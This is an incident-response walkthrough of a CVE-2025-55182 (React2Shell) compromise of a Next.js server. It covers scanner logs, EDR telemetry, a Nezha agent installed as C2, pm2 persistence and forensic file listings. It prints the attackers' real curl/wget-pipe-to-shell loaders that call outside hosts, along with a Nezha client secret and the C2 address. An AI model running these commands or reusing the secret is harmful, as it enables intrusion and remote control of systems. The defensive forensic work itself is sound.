This is my React story. Within the cacophony of screaming, you will easily be able to find adequate explanations as to what the vulnerability is, that is not the purpose of these notes. The two central points we are conveying is that this was a vulnerability that allows an application to be weaponized to allow for remote code execution, the second is to show simply what happens when you leave the door open to the house at night when the lights are on. This is a story from beginning to end. A separate analysis of the ntpclient which is a proxy as well as the Go Lang binary follows the walkthrough. As always I have left the verbose technical notes intact so the reader can get a full picture.
Characters:
Target: 154.89.152.240
IP: 154.89.152.240
ASN: AS139923 ABCCLOUD SDN.BHD.
City: Hong Kong
Country: Hong Kong
Country Code: HK
ISP: Fastmos Co Limited
Latitude: 22.3193
Longtitude: 114.169
Organization: Fastmos Co Limited
Region Code:
Region Name: Kowloon
Timezone: Asia/Hong_Kong
Zip Code: 999077
Google Maps: http://www.google.com/maps/place/22.3193,114.169/@22.3193,114.169,16z
React2Shell IOC –
Malware host
128.199.194.97
Hostnames: api.hs-my.com
City: Singapore
Country: Singapore
Operating System: Linux
Organization: DigitalOcean, LLC
Updated: 2025-12-07T23:13:07.718837
Number of open ports: 5
Ports:
22/tcp OpenSSH (9.9p1 Ubuntu 3ubuntu3.2)
80/tcp
443/tcp
|-- Cert Issuer: C=US, CN=E7, O=Let's Encrypt
|-- Cert Subject: CN=api.hs-my.com
|-- SSL Versions: -SSLv2, -SSLv3, -TLSv1, -TLSv1.1, TLSv1.2, TLSv1.3
3000/tcp
8001/tcp
139.59.59.33
Hostnames: br.aaft.com
City: Doddaballapura
Country: India
Operating System: Ubuntu
Organization: DigitalOcean, LLC
Updated: 2025-12-08T20:21:00.593740
Number of open ports: 4
Vulnerabilities: CVE-2025-23419
Ports:
22/tcp OpenSSH (9.7p1 Ubuntu 7ubuntu4.3)
80/tcp nginx (1.26.0)
|-- HTTP title: Welcome to nginx!
443/tcp nginx (1.26.0)
|-- HTTP title: Create Next App
|-- Cert Issuer: C=US, CN=E7, O=Let's Encrypt
|-- Cert Subject: CN=br.aaft.com
|-- SSL Versions: -SSLv2, -SSLv3, -TLSv1, -TLSv1.1, TLSv1.2, TLSv1.3
3000/tcp
|-- HTTP title: Create Next App
38.165.44.205
City: Los Angeles
Country: United States
Operating System: Linux
Organization: Cogent Communications
Updated: 2025-12-07T20:25:49.634125
Number of open ports: 1
Ports:
22/tcp OpenSSH (9.6p1 Ubuntu 3ubuntu13.11)
wget -q http://38.165.44.205/1 -O ntpclient
/root/.systemd-utils/ntpclient
On Dec 4 2025, node2.financemed.cn received multiple exploit attempts and automated scan traffic explicitly labeled CVE-2025-55182-Exploit/2.0 and CVE-2025-55182-Scanner against the /formaction endpoint. These preceded the 5 Dec event where the public-facing Next.js service spawned a shell and executed curl ... | bash to the C2 (154.89.152[.]240), - they were scanned and that’s how they came in
60.249.31.150 - - [04/Dec/2025:09:51:23 +0800] "POST http://www....n/formaction HTTP/1.1" 302 720 "-" "-" "NONE" "NONE" "text/html"
60.249.31.150 - - [04/Dec/2025:09:51:24 +0800] "POST https://www...P/1.1" 500 8037 "-" "-" "NONE" "NONE" "text/html; charset=utf-8"
223.18.60.25 - - [04/Dec/2025:10:29:45 +0800] "POST http://www.f...2 698 "-" "CVE-2025-55182-Exploit/2.0" "NONE" "NONE" "text/html"
223.18.60.25 - - [04/Dec/2025:10:29:46 +0800] "GET https://www.f...2025-55182-Exploit/2.0" "NONE" "NONE" "text/html; charset=utf-8"
223.18.60.25 - - [04/Dec/2025:10:29:46 +0800] "POST https://www....2025-55182-Exploit/2.0" "NONE" "NONE" "text/html; charset=utf-8"
60.249.13.135 - - [04/Dec/2025:10:34:22 +0800] "POST http://www....n/formaction HTTP/1.1" 302 718 "-" "-" "NONE" "NONE" "text/html"
60.249.13.135 - - [04/Dec/2025:10:34:23 +0800] "POST https://www...P/1.1" 500 8033 "-" "-" "NONE" "NONE" "text/html; charset=utf-8"
60.249.13.135 - - [04/Dec/2025:10:44:52 +0800] "GET http://www.f...o) Chrome/83.0.4103.116 Safari/537.36" "NONE" "NONE" "text/html"
60.249.13.135 - - [04/Dec/2025:10:44:54 +0800] "GET https://www....4103.116 Safari/537.36" "NONE" "NONE" "text/html; charset=utf-8"
60.249.13.135 - - [04/Dec/2025:10:58:09 +0800] "POST http://www....on HTTP/1.1" 302 720 "-" "curl/7.81.0" "NONE" "NONE" "text/html"
60.249.13.135 - - [04/Dec/2025:10:58:10 +0800] "POST https://www... 8037 "-" "curl/7.81.0" "NONE" "NONE" "text/html; charset=utf-8"
43.251.225.234 - - [04/Dec/2025:17:00:05 +0800] "POST http://www... (compatible; CVE-2025-55182-Scanner)" "NONE" "NONE" "text/html"
43.251.225.234 - - [04/Dec/2025:17:00:17 +0800] "POST https://ww...tible; CVE-2025-55182-Scanner)" "NONE" "NONE" "text/x-component"
Sometimes scanning works
Phase 0 – Background noise & recon
Before the CVE-specific stuff, you’ve got standard yelling:
39.99.39.155 [04/Dec/2025:09:50:07 +0800]
"GET http:// node2.financemed.cn /.git/config HTTP/1.1" 302 "-"
"python-requests/2.2.1 CPython/2.7.6 Linux/4.4.0-93-generic" "WAF_THIRDCOMP"
39.99.39.155 [04/Dec/2025:09:50:08 +0800]
"GET https://node2.financemed.cn git/config HTTP/1.1" 308 "-"
"python-requests/2.2.1 CPython/2.7.6 Linux/4.4.0-93-generic" "WAF_THIRDCOMP"
Scripted scanner (python-requests) sweeps domains looking for .git/config exposed over HTTP.
If .git/config is readable, they can pull repo URL, branches, sometimes secrets.
the WAF labels it WAF_THIRDCOMP (3rd-party component exposure).
Same later –
39.99.39.155 [02/Dec/2025:18:12:48 +0800]
"GET http:// node2.financemed.cn/.svn/entries HTTP/1.1" 302 "-"
"python-requests/2.2.1 ..." "WAF_THIRDCOMP"
This generic recon - not yet linked to the React/Next issue—but it shows the site is in multiple scanners’ target lists.
Phase 1 – Poke until the window breaks
Now you see payloads that are clearly vuln-probes:
Path traversal / file read probes
112.121.183.70 [05/Dec/2025:03:11:07 +0800]
"GET https:// node2.financemed.cn /index/ajax/lang?lang=..//..//application/database HTTP/1.1" 404 "-"
"Go-http-client/1.1" "WAF_THIRDCOMP" - - 2
lang=..//..//application/database is a directory traversal / file read probe.
Go-http-client/1.1 - Go-based scanner hitting a list of known vulnerable paths.
WAF again calls this third-party component abuse.
the same pattern from other IPs (216.118.251.162, 155.117.98.114, etc.) – multiple tools all trying similar payloads.
a= XSS payload ( ).
b= SQLi + time-based injection (UNION SELECT, SLEEP(5)).
c= LFI / path traversal to /etc/passwd.
This is multi-vector probing: drop all common web vulns into various params and see what sticks. WAF blocks with 403 and tags WAF_XSS.
Phase 2 – What can I do??
it gets closer to what hit the Next.js service: command injection behavior.
60.249.31.150 [04/Dec/2025:09:51:23 +0800]
"POST http:// node2.financemed.cn /formaction HTTP/1.1" 302 "-" "-" "WAF_THIRDCOMP"
60.249.31.150 [04/Dec/2025:09:51:24 +0800]
"POST https:// node2.financemed.cn /formaction HTTP/1.1" 500 "-" "-" "WAF_THIRDCOMP"
Next –
60.249.13.135 [04/Dec/2025:10:58:09 +0800]
"POST http:// node2.financemed.cn /formaction HTTP/1.1" 302 "-" "curl/7.81.0" "WAF_CMDI"
60.249.13.135 [04/Dec/2025:10:58:10 +0800]
"POST https:// node2.financemed.cn /formaction HTTP/1.1" 500 "-" "curl/7.81.0" "WAF_CMDI"
They have identified /formaction as interesting (server-side handler).
Flood it over HTTP and HTTPS (302 vs 500), watching response code changes.
User-Agent flips to curl/7.81.0 with WAF tag WAF_CMDI = Command Injection pattern in the payload.
Scanner logic:
Send benign-ish payload baseline response (302).
Send payload containing CMDI markers (`,|,;,$(), backticks, etc.) if the app passes it into a shell, error changes (500, timeout, different body).
If the delta matches a known RCE sign, mark host “vulnerable” for this specific technique.
This is how they get from “random site” to “this endpoint is the destination”.
Phase 2 – cve specific scanner & exploit
223.18.60.25 - - [04/Dec/2025:10:29:45 +0800]
"POST http://www.f...2 698 "-" "CVE-2025-55182-Exploit/2.0" "NONE" "NONE" "text/html"
223.18.60.25 - - [04/Dec/2025:10:29:46 +0800]
"GET https://www.f...2025-55182-Exploit/2.0" "NONE" "NONE" "text/html; charset=utf-8"
223.18.60.25 - - [04/Dec/2025:10:29:46 +0800]
"POST https://www....2025-55182-Exploit/2.0" "NONE" "NONE" "text/html; charset=utf-8"
Then –
43.251.225.234 - - [04/Dec/2025:17:00:05 +0800]
"POST http://www... (compatible; CVE-2025-55182-Scanner)" "NONE" "NONE" "text/html"
43.251.225.234 - - [04/Dec/2025:17:00:17 +0800]
"POST https://ww...tible; CVE-2025-55182-Scanner)" "NONE" "NONE" "text/x-component"
Even though the log truncates the middle, we can see clearly:
User-Agent: CVE-2025-55182-Exploit/2.0 (tool identifying itself as an exploit kit for that CVE).
User-Agent: (...; CVE-2025-55182-Scanner) (scanner type of the same tool).
How their workflow looks:
Scanner component (CVE-2025-55182-Scanner) hits endpoints with a test payload for this specific React/Next.js RCE.
If response matches “vulnerable” criteria:
either automatically, or via a second-stage job
run the Exploit/2.0 variant to push a full RCE payload.
That payload, for this campaign, to be a curl|bash loader → whatever surprise.
We have both scanner and exploit UAs in the same day against the same host, which is a an indicator that the site was actively targeted for this specific issue, not just generic noise.
Phase 3 – we have arrived
Then, on 5 Dec, we see the actual server-side effect in telemetry (this is not web logs, this is EDR data):
Node.js (Next.js) web application process spawned a shell and executed attacker-controlled commands.
Executes: curl 154[.]89[.]152[.]240/check.sh | bash
Secondary payload written to /usr/local/rsyslo/rsyslo
Later C2: wget -O - hxxp://128[.]199[.]194[.]97:9003/setup2.sh | bash and hxxp://139[.]59[.]59[.]33:9004/setup2.sh|sh
107.174.123.91
City: Los Angeles
Country: United States
Organization: HostPapa
Updated: 2025-12-09T05:34:55.097512
Number of open ports: 5
Ports:
22/tcp OpenSSH (8.9p1 Ubuntu 3)
80/tcp OpenResty
|-- HTTP title: 404 Not Found
443/tcp OpenResty
|-- HTTP title: 400 The plain HTTP request was sent to HTTPS port
7001/tcp
8899/tcp
|-- HTTP title: 暂时无法访问
Nezha Agent found –
/opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
processCmd /opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
sha256
d4136e09654b104dc05da8a3dcde0823746deba425ef5fbcf7472e810801a6b1
After the probe succeeds –
Host: node2.financemed.cn
User: ActorUsername: root
Time: 2025-12-06T02:03:31.992Z
Acting process:
• ActingProcessName: /usr/bin/bash
• ActingProcessCommandLine: ./agent.sh
Child / target process (the important part):
• TargetProcessName: /usr/bin/wget
• TargetProcessUser: root
• TargetFilePath: /usr/bin/wget
• TargetProcessCommandLine:
wget --timeout=60 -O /tmp/nezha-agent_linux_amd64.zip https://github.com/nezhahq/agent/releases/latest/download/nezha-agent_linux_amd64.zip
The script that ran – agent.sh
spawned /usr/bin/wget to:
• Download nezha-agent_linux_amd64.zip
• From the official Nezha GitHub repo:
https://github.com/nezhahq/agent/releases/latest/download/nezha-agent_linux_amd64.zip
• Save it to /tmp/nezha-agent_linux_amd64.zip.
/opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
processUser: root
1. at 2025-12-06T23:26:39Z — the Nezha agent running persistently as root.
How this ties together
• This event (02:03 UTC) = download / staging of the Nezha agent (via agent.sh
wget).
• The later event (23:26 UTC) = the installed Nezha agent binary executing from /opt/nezha/agent/nezha-agent.
Panel is up – 10:25 – 12/9/2025
Nezha agent typically collects :
1. Host inventory & system state
The agent periodically reports things like:
• OS name/version
• CPU model, cores, architecture
• Total and used memory, swap
• Disk layout and usage for mounted filesystems
• Uptime, system load (1/5/15 min)
• Process count, TCP/UDP connection counts
2. Network & service monitoring
From the controller side, Nezha can use the agent to:
• Track network throughput (in/out bytes & speeds)
• Monitor service status (HTTP/HTTPS URLs, TCP ports, ICMP ping)
• Track SSL certificate status (expiry, changes) for configured sites
3. Task execution / remote control
• It can execute tasks sent from the dashboard (scheduled or on demand).
• It can be tied into WebSSH / terminal access from the web UI.
"ActingProcessCommandLine": env NZ_UUID= NZ_SERVER=107.174.123.91:11451 NZ_CLIENT_SECRET=bI5biKWPnuy8mOeW6veUY3KWTu5B0LtI NZ_TLS=false NZ_DISABLE_AUTO_UPDATE= NZ_DISABLE_FORCE_UPDATE= NZ_DISABLE_COMMAND_EXECUTE= NZ_SKIP_CONNECTION_COUNT= /opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml install,
First installation is seen on the 5th
Tried to read a stored github token –
Spawned by Nezha -
/opt/nezha/agent/nezha-agent
TargetProcessCommandLine - git config --global --get --null github.token
ActingProcessCommandLine - /opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
First installation –
"TimeGenerated": 2025-12-06T02:03:35.025Z,
"ActingProcessCommandLine": wget --timeout=60 -O /tmp/nezha-agent_linux_amd64.zip https://github.com/nezhahq/agent/releases/latest/download/nezha-agent_linux_amd64.zip,
"ActingProcessFilePath": /usr/bin/wget,
"ActingProcessId": 3176903,
"ActingProcessLaunchTime": 2025-12-06T02:03:31.984Z,
"ActingProcessMD5": e65b8de9e208a9801ded7e1b0b830802,
"ActingProcessName": /usr/bin/wget,
"ActingProcessSHA1": d40e598215b9662bb82dd5288501cdc232a79c4a,
"ActingProcessSHA256": 65bf129f22d3e0c7494da227db706a87503d2b6e5e8b25f8f89137fdbc4cbf3c,
"ActorUsername": root,
"DvcHostname": node2.financemed.cn,
"DvcId": 610f9e99-badc-4e8d-a58c-cc51c63b4ea6,
"DvcIdType": ,
"DvcIpAddr": ["10.223.32.27"],
"DvcMacAddr": ["00:17:fa:07:2a:66"],
"DvcOs": Linux,
"DvcOsDescription": Red Hat Enterprise 8 (64 bit) (4.18.0-553.56.1.el8_10.x86_64),
"DvcOsVersion": Red Hat Enterprise 8,
"EventOriginalUid": ea5d56d9-60ac-463c-aa45-5df675c08482,
"EventProduct": xes,
"EventProductVersion": 1.0.402,
"EventSourceType": 1,
"EventSubType": 101,
"EventType": 2,
"FirstSeen": 2025-12-06T02:03:35.025Z,
"LastSeen": 2025-12-06T02:03:35.025Z,
"LogonUser": [
"root"
],
"ParentLaunchTime": 2025-12-06T02:03:31.984Z,
"ParentProcessCommandLine": ./agent.sh,
"ParentProcessFilePath": /usr/bin/bash,
"ParentProcessId": 3176903,
"ParentProcessMD5": 858462862f560f589c7458ef2396c5b6,
"ParentProcessName": /usr/bin/bash,
"ParentProcessSHA1": 39167c837587d12bb24ceee9c4c83a37a37674c3,
"ParentProcessSHA256": f420671b28650f60f5461c63353ca0a123b900dbfec0a9ddded83643f068a88e,
"ParentProcessUser": root,
"TargetCurrentPosixPermission": 0x100644,
"TargetFilePath": /root/.wget-hsts,
"TargetFirstSeen": 2025-12-06T02:03:35.025Z,
"TargetLastSeen": 2025-12-06T02:03:35.025Z,
"TargetPosixPermission": 0x0,
"TargetPosixPermissionHashId": -3093125391422378209,
"TargetSubTrueType": 0,
"Timezone": UTC+00:00,
env \
NZ_UUID= \
NZ_SERVER=107.174.123.91:11451 \
NZ_CLIENT_SECRET=bI5biKWPnuy8mOeW6veUY3KWTu5B0LtI \
NZ_TLS=false \
NZ_DISABLE_AUTO_UPDATE= \
NZ_DISABLE_FORCE_UPDATE= \
NZ_DISABLE_COMMAND_EXECUTE= \
NZ_SKIP_CONNECTION_COUNT= \
/opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml install
env ... nezha-agent ... install
starting nezha-agent with a specific set of environment variables and telling it to:
use /opt/nezha/agent/config.yml, and
install itself as a service (service ... install) --- persistence.
NZ_SERVER=107.174.123.91:11451
That is the Nezha panel / C2 address and port.
From now on, this box will beacon there as a “client”.
NZ_CLIENT_SECRET=...
auth token. lets them authenticate the agent.
NZ_TLS=false
No TLS. Traffic to 107.174.123[.]91:11451 is cleartext,
NZ_UUID= (blank)
Leaving this empty typically means the agent will:
Generate its own UUID or
**NZ_DISABLE_AUTO_UPDATE= / NZ_DISABLE_FORCE_UPDATE= / NZ_DISABLE_COMMAND_EXECUTE= / NZ_SKIP_CONNECTION_COUNT= all empty
These flags are meant to disable features when set; leaving them blank means:
Auto-update is allowed
Forced updates are allowed
Remote command execution is not disabled → the panel can push arbitrary commands
Connection counting is enabled
PM2 is a production-grade process manager for Node.js applications. Its purpose is for monitoring and management.
PM2 became the launcher for 38.165.44.205
After the entry point –
ActingProcessCommandLine:
node ... next/dist/bin/next start
TargetProcessCommandLine:
/bin/sh -c wget -qO- http://38.165.44.205/s | sh
The Next.js node process spawns /bin/sh which pulls and executes http://38.165.44[.]205.
We then see the following –
ActingProcessCommandLine:
PM2 v6.0.9: God Daemon (/root/.pm2)
TargetProcessCommandLine:
/bin/sh -c wget -qO- http://38.165.44.205/s | sh
TargetFilePath: /usr/bin/bash
DvcHostname: node2.financemed.cn
LogonUser: ["root"]
pm2’s “God Daemon” process (running as root) is the actor.
It starts /bin/sh with the exact same wget ... | sh one-liner to 38.165.44.205.
That means the attacker wired the malicious bootstrap into pm2’s process management, so pm2 is now functioning as a persistence and re-execution harness for the toolkit.
Items pm2 interacted with at the behest of that tainted version –
/bin/sh -c wget -O - http://139.59.59.33:9004/setup2.sh|sh
wget -O - http://139.59.59.33:9004/setup2.sh
/bin/sh -c wget -O - http://128.199.194.97:9003/setup2.sh|sh
wget -O - http://128.199.194.97:9003/setup2.sh
curl http://128.199.194.97:9003/setup2.sh
/bin/sh -c curl http://128.199.194.97:9003/setup2.sh | bash
wget -q http://38.165.44.205:8081/api -O conf
/bin/sh -c curl 154.89.152.240/check.sh|bash
/bin/sh -c curl http://154.36.175.48:3232/linux.sh | sh
1. pm2 itself and its config:
o /root/.pm2/ (logs, dump files, ecosystem configs, JSON process descriptions).
o Any pm2 “apps” configured there
2. All pm2-spawned processes, such as:
o The legitimate Next.js / node services.
o The malicious wget -qO- http://38.165.44.205/s | sh chains.
o Any follow-on loaders / scripts
3. Anything those processes then spawned, for example:
o bash shells used to run recon or system info (lsb_release, uname, ps, etc.).
o wget/curl for additional payloads or exfil.
o Any Nezha-related processes and their children, because Nezha is itself taking commands from a remote controller.
Given what we’ve already seen (Nezha agent being installed and then running lsb_release under Nezha’s control), we are looking at a layered C2 stack:
Next.js exploit - pm2 - bootstrap script from 38.165.44[.]205 - install Nezha - Nezha runs commands like lsb_release, etc.
Every layer in that chain is now part of the attacker’s apparatus.
ActorUsername: root for the ./agent.sh + wget ... nezha-agent chain
Nezha runs as:
processFilePath: /opt/nezha/agent/nezha-agent
processUser: root
Nezha is still spawning children days later, e.g.:
• Parent: /opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
• Child: /usr/bin/bash
• Command: /usr/bin/lsb_release
Nezha is running as root.
Nezha is launching bash, and bash is executing commands (e.g., lsb_release) on behalf of the C2.
pm2 is in the same root-owned process tree (we’ve already seen node /usr/local/bin/pm2 list with the same host & sensor).
That means pm2 + Nezha together = remote root shell + scheduler on that host.
Folders pm2 had access to while nezha was running and the agent was active –
Application & source code
• The Next.js/React app root.
• Local .env files with secrets:
o *.env, .env.local, .env.production,
directories
• /root/
o ~/.ssh/* (SSH keys, known_hosts)
o ~/.bash_history
xxmdc_n/frontend – agent.sh can be found here
nezha config.yml
client_secret: bI5biKWPnuy8mOeW6veUY3KWTu5B0LtI
debug: false
disable_auto_update: false
disable_command_execute: false
disable_force_update: false
disable_nat: false
disable_send_query: false
gpu: false
insecure_tls: false
ip_report_period: 1800
report_delay: 3
self_update_period: 0
server: 107.174.123.91:11451
skip_connection_count: false
skip_procs_count: false
temperature: false
tls: false
use_gitee_to_upgrade: false
use_ipv6_country_code: false
uuid: f5989726-dbd8-0150-51ca-9c401d9f5cfac
By default nezha streams this data back to the Nezha server (in our case, NZ_SERVER=107.174.123.91:11451), not store it locally.
Logging for nezha was disabled
[Unit]
Description=哪吒监控 Agent
ConditionFileIsExecutable=/opt/nezha/agent/nezha-agent
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/opt/nezha/agent/nezha-agent "-c" "/opt/nezha/agent/config.yml"
WorkingDirectory=/opt/nezha/agent
Restart=always
RestartSec=30
EnvironmentFile=-/etc/sysconfig/nezha-agent
[Install]
WantedBy=multi-user.target
Root directory –
dr-xr-x---. 15 root root 4096 Dec 5 21:03 .
dr-xr-xr-x. 18 root root 4096 Nov 13 23:37 ..
-rw-r--r--. 1 root root 18 Aug 12 2018 .bash_logout
-rw-r--r--. 1 root root 738 Dec 3 2024 .bash_profile
-rw-r--r--. 1 root root 1117 Mar 31 2025 .bashrc
drwx------ 6 root root 62 Sep 1 23:37 .cache
drwx------ 7 root root 90 Sep 1 23:42 .config
-rw-r--r--. 1 root root 100 Aug 12 2018 .cshrc
-r--r--r-- 1 root root 30 Dec 3 2024 .forward
drwxr-xr-x 3 root root 19 Dec 3 2024 .gem
drwx------ 2 root root 44 Nov 13 01:03 .gnupg
drwxr-xr-x 2 root root 4096 Dec 9 00:00 .histdir
drwxr-xr-x 4 root root 32 Sep 1 23:37 .local
drw-r----- 2 root root 154 Dec 9 00:06 monitor
-rw------- 1 root root 1156 Sep 5 10:19 .mysql_history
drwxr-xr-x 5 root root 83 Mar 31 2025 .npm
-rw------- 1 root root 59 Nov 13 23:29 .npmrc
drwxr-xr-x 8 root root 4096 Mar 31 2025 .nvm
drwxr----- 3 root root 19 Dec 3 2024 .pki
drwxr-xr-x 5 root root 4096 Dec 1 01:00 .pm2
-rw-r--r-- 1 root root 573 Dec 3 2024 .profile
-rw------- 1 root root 1024 Dec 3 2024 .rnd
drwx------. 2 root root 74 Dec 12 2024 .ssh
drwxr-xr-x 2 root root 35 Dec 5 00:12 .systemd-utils
-rw-r--r--. 1 root root 129 Aug 12 2018 .tcshrc
-rw-r--r-- 1 root root 5304 Mar 31 2025 .v8flags.8.4.371.23-node.88.63a9f0ea7bb98050796b649e85481845.json
-rw------- 1 root root 1008 Feb 28 2025 .viminfo
-rw-r--r-- 1 root root 165 Dec 5 21:03 .wget-hsts
-rw-r--r--. 1 root root 18 Aug 12 2018 /mnt/node2-os/root/.bash_logout
-rw-r--r--. 1 root root 738 Dec 3 2024 /mnt/node2-os/root/.bash_profile
-rw-r--r--. 1 root root 1117 Mar 31 2025 /mnt/node2-os/root/.bashrc
/mnt/node2-os/etc/systemd/system/nezha-agent.service:3:ConditionFileIsExecutable=/opt/nezha/agent/nezha-agent
/mnt/node2-os/etc/systemd/system/nezha-agent.service:9:ExecStart=/opt/nezha/agent/nezha-agent "-c" "/opt/nezha/agent/config.yml"
/mnt/node2-os/etc/systemd/system/nezha-agent.service:11:WorkingDirectory=/opt/nezha/agent
/mnt/node2-os/etc/systemd/system/nezha-agent.service:20:EnvironmentFile=-/etc/sysconfig/nezha-agent
Anchoring of the timeline –
root@antioch:/mnt/node2-os# stat /mnt/node2-os/opt/nezha/agent/nezha-agent 2>/dev/null
File: /mnt/node2-os/opt/nezha/agent/nezha-agent
Size: 17236152 Blocks: 33672 IO Block: 4096 regular file
Device: 254,5 Inode: 361712 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-12-08 17:41:43.841448468 -0500
Modify: 2025-10-09 09:32:22.000000000 -0400
Change: 2025-12-05 21:03:35.173172068 -0500
Birth: 2025-12-05 21:03:35.042172368 -0500
/mnt/node2-os/root/.pm2
root@antioch:/mnt/node2-os# ls -la /mnt/node2-os/root/.pm2
total 732
drwxr-xr-x 5 root root 4096 Dec 1 01:00 .
dr-xr-x---. 15 root root 4096 Dec 5 21:03 ..
-rw-r--r-- 1 root root 14763 Dec 7 07:54 dump.pm2
-rw-r--r-- 1 root root 14614 Dec 7 07:54 dump.pm2.bak
drwxr-xr-x 2 root root 100 Sep 7 23:04 logs
-rw-r--r-- 1 root root 2 Sep 5 10:24 module_conf.json
drwxr-xr-x 2 root root 6 Sep 5 10:24 modules
drwxr-xr-x 2 root root 43 Dec 9 00:30 pids
-rw-r--r-- 1 root root 690649 Dec 9 00:30 pm2.log
-rw-r--r-- 1 root root 7 Sep 7 22:57 pm2.pid
srwxrwxr-x 1 root root 0 Sep 7 22:57 pub.sock
-rw-r--r-- 1 root root 0 Dec 1 01:00 reload.lock
srwxrwxr-x 1 root root 0 Sep 7 22:57 rpc.sock
-rw-r--r-- 1 root root 13 Sep 5 10:24 touch
root@antioch:/mnt/node2-os# ls -la /mnt/node2-os/root/.pm2/logs 2>/dev/null
total 40
drwxr-xr-x 2 root root 100 Sep 7 23:04 .
drwxr-xr-x 5 root root 4096 Dec 1 01:00 ..
-rw-r--r-- 1 root root 0 Sep 7 23:04 bibm-error-1.log
-rw-r--r-- 1 root root 498 Dec 5 00:21 bibm-out-1.log
-rw-r--r-- 1 root root 63 Sep 7 22:48 xxmdc-error-0.log
-rw-r--r-- 1 root root 28029 Dec 9 00:30 xxmdc-out-0.log
root@antioch:/mnt/node2-os# ls -la /mnt/node2-os/root/.pm2/pids 2>/dev/null
total 12
drwxr-xr-x 2 root root 43 Dec 9 00:30 .
drwxr-xr-x 5 root root 4096 Dec 1 01:00 ..
-rw-r--r-- 1 root root 7 Dec 5 00:21 bibm-1.pid
-rw-r--r-- 1 root root 7 Dec 9 00:30 xxmdc-0.pid
root@antioch:/mnt/node2-os# ls -la /mnt/node2-os/root/.pm2/dump.pm2 2>/dev/null
-rw-r--r-- 1 root root 14763 Dec 7 07:54 /mnt/node2-os/root/.pm2/dump.pm2
Pm2 dump and anchors
[
{
"cron_restart": "*/30 * * * *",
"exit_code": 0,
"script": "pnpm",
"node_version": "22.16.0",
"version": "N/A",
"_pm2_version": "6.0.9",
"unstable_restarts": 0,
"restart_time": 10,
"created_at": 1765112012763,
"axm_dynamic": {},
"axm_options": {
"error": true,
"heapdump": true,
"feature.profiler.heapsnapshot": false,
"feature.profiler.heapsampling": true,
"feature.profiler.cpu_js": true,
"latency": true,
"catchExceptions": true,
"profiling": true,
"metrics": {
"http": true,
"runtime": true,
"eventLoop": true,
"network": false,
"v8": true
},
"standalone": false,
"module_conf": {},
"apm": {
"version": "6.1.0",
"type": "node"
},
"module_name": "xxmdc",
"module_version": "6.0.9"
},
"axm_monitor": {
"Used Heap Size": {
"value": "33.39",
"type": "internal/v8/heap/used",
"unit": "MiB",
"historic": true
},
"Heap Usage": {
"value": 92.99,
"type": "internal/v8/heap/usage",
"unit": "%",
"historic": true
},
"Heap Size": {
"value": "35.91",
"type": "internal/v8/heap/total",
"unit": "MiB",
"historic": true
},
"Event Loop Latency p95": {
"value": "1.34",
"type": "internal/libuv/latency/p95",
"unit": "ms",
"historic": true
},
"Event Loop Latency": {
"value": "0.01",
"type": "internal/libuv/latency/p50",
"unit": "ms",
"historic": true
},
"Active handles": {
"value": 3,
"type": "internal/libuv/handles",
"historic": true
},
"Active requests": {
"value": 0,
"type": "internal/libuv/requests",
"historic": true
}
},
"axm_actions": [
{
"action_name": "km:heapdump",
"action_type": "internal",
"arity": 2
},
{
"action_name": "km:cpu:profiling:start",
"action_type": "internal",
"arity": 2
},
{
"action_name": "km:cpu:profiling:stop",
"action_type": "internal",
"arity": 1
},
{
"action_name": "km:heap:sampling:start",
"action_type": "internal",
"arity": 2
},
{
"action_name": "km:heap:sampling:stop",
"action_type": "internal",
"arity": 1
}
],
"pm_uptime": 1765112014529,
"status": "online",
"unique_id": "fc61d03f-5916-4177-86e9-50931f603ba8",
"LS_COLORS": "rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.m4a=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.oga=01;36:*.opus=01;36:*.spx=01;36:*.xspf=01;36:",
"LANG": "en_US.UTF-8",
"HISTCONTROL": "ignoredups",
